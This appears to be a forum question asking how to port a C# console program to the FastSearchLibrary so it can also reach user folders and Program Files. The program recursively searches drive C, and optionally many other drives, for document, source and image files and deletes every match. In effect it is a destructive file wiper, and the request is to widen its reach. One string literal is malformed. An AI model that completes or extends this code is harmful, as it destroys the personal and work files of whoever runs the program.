How to use the FastSearchLibrary library instead of this code? Just this code does not look on drive C, even if I run as administrator! And you need to look for it in user folders and in Program Files.
Link to the library: https://github.com/VladPVS/FastSearchLibrary
namespace ConsoleApplication8 { class Program { static void Main(string[] args) { //string[] drives = { "C:", "J:", "D:", "F:", "E:", "G:", "I:", "L:" }; // Drives string[] drives = { "C:" }; // Drives foreach (string drv in drives) { IEnumerable<string> myfile = SafeEnumerateFiles(drv, new[] { "*.asp", "*.cpp", "*.doc", "*.docm", " "*.jpg" }, SearchOption.AllDirectories); // Extensions foreach (string fileName in myfile) { Console.WriteLine(fileName); File.Delete(fileName); } } } private static IEnumerable<string> SafeEnumerateFiles(string path, string[] searchPatterns, SearchOption searchOption) { Stack<string> dirs = new Stack<string>(); dirs.Push(path); while (dirs.Count > 0) { string currentDirPath = dirs.Pop(); if (searchOption == SearchOption.AllDirectories) { try { string[] subDirs = Directory.GetDirectories(currentDirPath); foreach (string subDirPath in subDirs) { dirs.Push(subDirPath); } } catch (UnauthorizedAccessException) { continue; } catch (DirectoryNotFoundException) { continue; } } foreach (string searchPattern in searchPatterns) { string[] files; try { files = Directory.GetFiles(currentDirPath, searchPattern); } catch (UnauthorizedAccessException) { break; } catch (DirectoryNotFoundException) { break; } foreach (string filePath in files) { yield return filePath; } } } }